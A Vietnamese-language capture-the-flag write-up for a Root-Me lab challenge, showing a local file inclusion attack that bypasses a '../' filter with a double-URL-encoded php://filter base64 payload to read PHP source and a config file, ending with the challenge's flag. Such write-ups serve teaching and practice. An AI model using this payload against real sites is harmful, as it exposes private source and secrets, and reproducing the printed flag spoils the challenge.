Skip to content
Tags

Local File Inclusion - Double encoding

Estimated time to read: 4 minutes

May 09, 2023


Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding

Link challenge này tại http://challenge01.root-me.org/web-serveur/ch43/

Tổng quan

Trong challenge này, mục tiêu của ta là lấy được password xác thực từ source files trên website.

Kịch bản tấn công

Bước 1: Kiểm tra website

Đầu tiên ta xem xét website và thực hiện vài câu truy vấn, ta tiêm thử ../admin thì bị hệ thống phát hiện attack

Image title

Hình ảnh website challenge

Tới đây ta nghĩ rằng website đã filter "../", "./",... và nhiều thứ khác. Ta tiến hành dùng HTTP Encoding theo cách thông thường (. == %2E, / == %2F) thì vẫn không khả thi. Với challenge này, rootme đã cung cấp cho ta trang owasp này nói luôn về double encoding và cho ta mã hóa kép của "." là %252E; mã hóa kép của "/" là %252F. Tương tự:

  • Kí tự : được mã thành %253A

  • Kí tự - được mã thành %252D

  • Kí tự = được mã thành %253D

Bước 2: Khai thác website

Tiếp tục việc dạo quanh trên mạng, ta biết được để xem source file php ở trang home thì dùng filter bằng cú pháp php://filter/convert.base64-encode/resource=home

Double encoding mã trên ta được php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dhome

Image title

Hình ảnh mô tả việc tiêm Path vào url

Ta nhận được thông điệp là một chuỗi base64, tiến hành decode bằng [Base64 decoding][https://www.base64decode.org/] ta được đoạn code php như sau

<?php include("conf.inc.php"); ?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>J. Smith - Home</title>
  </head>
  <body>
    <?= $conf['global_style'] ?>
    <nav>
      <a href="index.php?page=home" class="active">Home</a>
      <a href="index.php?page=cv">CV</a>
      <a href="index.php?page=contact">Contact</a>
    </nav>
    <div id="main">
      <?= $conf['home'] ?>
    </div>
  </body>
</html>

Ta thấy đoạn code trên có include conf.inc.php, tiến hành xem file, ta được flag

<?php
  $conf = [
    "flag"        => "Th1sIsTh3Fl4g!",
    "home"        => '<h2>Welcome</h2>
    <div>Welcome on my personal website !</div>',
    "cv"          => [
      "gender"      => true,
      "birth"       => 441759600,
      "jobs"        => [
        [
          "title"     => "Coffee developer @Megaupload",
          "date"      => "01/2010"
        ],
        [
          "title"     => "Bed tester @YourMom's",
          "date"      => "03/2011"
        ],
        [
          "title"     => "Beer drinker @NearestBar",
          "date"      => "10/2014"
        ]
      ]
    ],
    "contact"       => [
      "firstname"     => "John",
      "lastname"      => "Smith",
      "phone"         => "01 33 71 00 01",
      "mail"          => "john.smith@thegame.com"
    ],
    "global_style"  => '<style media="screen">
      body{
        background: rgb(231, 231, 231);
        font-family: Tahoma,Verdana,Segoe,sans-serif;
        font-size: 14px;
      }
      div#main{
        padding: 20px 10px;
      }
      nav{
        border: 1px solid rgb(101, 101, 101);
        font-size: 0;
      }
      nav a{
        font-size: 14px;
        padding: 5px 10px;
        box-sizing: border-box;
        display: inline-block;
        text-decoration: none;
        color: #555;
      }
      nav a.active{
        color: #fff;
        background: rgb(119, 138, 144);
      }
      nav a:hover{
        color: #fff;
        background: rgb(119, 138, 144);
      }
      h2{
        margin-top:0;
      }
      </style>'
  ];

Flag

Th1sIsTh3Fl4g!

Comments